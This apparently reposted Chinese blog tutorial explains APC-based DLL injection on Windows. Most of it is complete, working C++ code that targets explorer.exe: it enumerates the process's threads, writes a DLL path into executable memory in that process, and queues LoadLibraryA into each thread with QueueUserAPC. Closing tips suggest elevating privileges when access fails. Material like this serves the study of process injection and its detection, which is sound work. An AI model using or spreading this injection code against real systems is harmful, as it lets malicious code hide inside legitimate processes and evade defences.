APC,即Asynchronous procedure call,异步程序调用
APC注入的原理是:
在一个进程中,当一个执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断,当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数,利用QueueUserAPC()这个API,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,
注入流程:
1.根据进程名称得进程ID
2.枚举该进程中的线程
3.将自己的函数插入到每个线程的APC队列中
#include "stdafx.h"
#include <windows.h>
#include <Tlhelp32.h>
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
using namespace std;
typedef struct _THREADLIST
{
DWORD dwThreadId;
_THREADLIST *pNext;
}THREADLIST;
int q = 0;
DWORD GetProcessID(const char *szProcessName);
int EnumThreadID(DWORD dwPID, THREADLIST * pdwTidList);
THREADLIST* InsertThreadId(THREADLIST *pdwTidListHead, DWORD dwTid);
DWORD Inject(HANDLE hProcess, THREADLIST *pThreadIdList);
int main()
{
THREADLIST *pThreadIdHead = NULL;
pThreadIdHead = (THREADLIST *)malloc(sizeof(THREADLIST));
if (pThreadIdHead == NULL)
{
printf("申请失败");
return 0;
}
//ZeroMemory是美国微软公司的软件开发包SDK中的一个宏。 其作用是用0来填充一块内存区域
ZeroMemory(pThreadIdHead, sizeof(THREADLIST));
DWORD dwProcessID = 0;
if ((dwProcessID = GetProcessID("explorer.exe")) == 0)
{
printf("进程ID获取失败!\n");
return 0;
}
EnumThreadID(dwProcessID, pThreadIdHead);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID);
if (hProcess == NULL)
{
printf("打开进程失败");
return 1;
}
Inject(hProcess, pThreadIdHead);
cout<<q;
getchar();
getchar();
return 0;
}
DWORD GetProcessID(const char *szProcessName)
{
//PROCESSENTRY32这个宏在<Tlhelp32.h>中
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32);
//创建线程快照
HANDLE SnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (SnapshotHandle == INVALID_HANDLE_VALUE)
{
return 0;
}
if (!Process32First(SnapshotHandle, &pe32))
{
return 0;
}
do
{
if (!_strnicmp(szProcessName, pe32.szExeFile, strlen(szProcessName)))
{
printf("%s的PID是:%d\n", pe32.szExeFile, pe32.th32ProcessID);
return pe32.th32ProcessID;
}
//Process32Next是一个进程获取函数,当我们利用函数CreateToolhelp32Snapshot()获得当前运行进程的快照后, 我们可以利用Process32Next函数来获得下一个进程的句柄
} while (Process32Next(SnapshotHandle, &pe32));
return 0;
}
int EnumThreadID(DWORD dwPID, THREADLIST * pdwTidList)
{
int i = 0;
THREADENTRY32 te32 = { 0 };
te32.dwSize = sizeof(THREADENTRY32);
HANDLE SnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwPID);
if (SnapshotHandle != INVALID_HANDLE_VALUE)
{
if (Thread32First(SnapshotHandle, &te32))
{
do
{
if (te32.th32OwnerProcessID == dwPID)
{
if (pdwTidList->dwThreadId == 0)
{
pdwTidList->dwThreadId = te32.th32ThreadID;
}
else
{
if (NULL == InsertThreadId(pdwTidList, te32.th32ThreadID))
{
printf("插入失败!\n");
return 0;
}
}
}
} while (Thread32Next(SnapshotHandle, &te32));
}
}
return 0;
}
THREADLIST* InsertThreadId(THREADLIST *pdwTidListHead, DWORD dwTid)
{
THREADLIST *pCurrent = NULL;
THREADLIST *pNewMember = NULL;
if (pdwTidListHead == NULL)
{
return NULL;
}
pCurrent = pdwTidListHead;
while (pCurrent != NULL)
{
if (pCurrent->pNext == NULL)
{
// 定位到链表最后一个元素
pNewMember = (THREADLIST *)malloc(sizeof(THREADLIST));
if (pNewMember != NULL)
{
pNewMember->dwThreadId = dwTid;
pNewMember->pNext = NULL;
pCurrent->pNext = pNewMember;
return pNewMember;
}
else
{
return NULL;
}
}
pCurrent = pCurrent->pNext;
}
return NULL;
}
DWORD Inject(HANDLE hProcess, THREADLIST *pThreadIdList)
{
THREADLIST *pCurrentThreadId = pThreadIdList;
const char szInjectModName[] = "需要加载的自己的动态库路径";
DWORD dwLen = strlen(szInjectModName) + 1;
PVOID param = VirtualAllocEx(hProcess,
NULL, dwLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
UINT_PTR LoadLibraryAAddress = (UINT_PTR)GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (param != NULL)
{
SIZE_T dwRet;
if (WriteProcessMemory(hProcess, param, (LPVOID)szInjectModName, dwLen, &dwRet))
{
while (pCurrentThreadId)
{
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentThreadId->dwThreadId);
if (hThread != NULL)
{
//注入DLL到指定进程
QueueUserAPC((PAPCFUNC)LoadLibraryAAddress, hThread, (ULONG_PTR)param);
printf("OK\r\n");
q++;
}
printf("ThreadID:%d\n", pCurrentThreadId->dwThreadId);
pCurrentThreadId = pCurrentThreadId->pNext;
}
}
}
return 0;
}
如果OpenProce或者OpenThread失败,可以尝试提权,或者给UAC,以管理员身份启动。
不过我个人觉得,这个方法不是每次都能成功,只有线程多的进程,才比较容易成功。win7 测试成功,Win10不是每次成功。
另外没有提供删除APC队列中函数的方法,所以不能反复注入。
来源:https://www.cnblogs.com/HsinTsao/p/6416495.html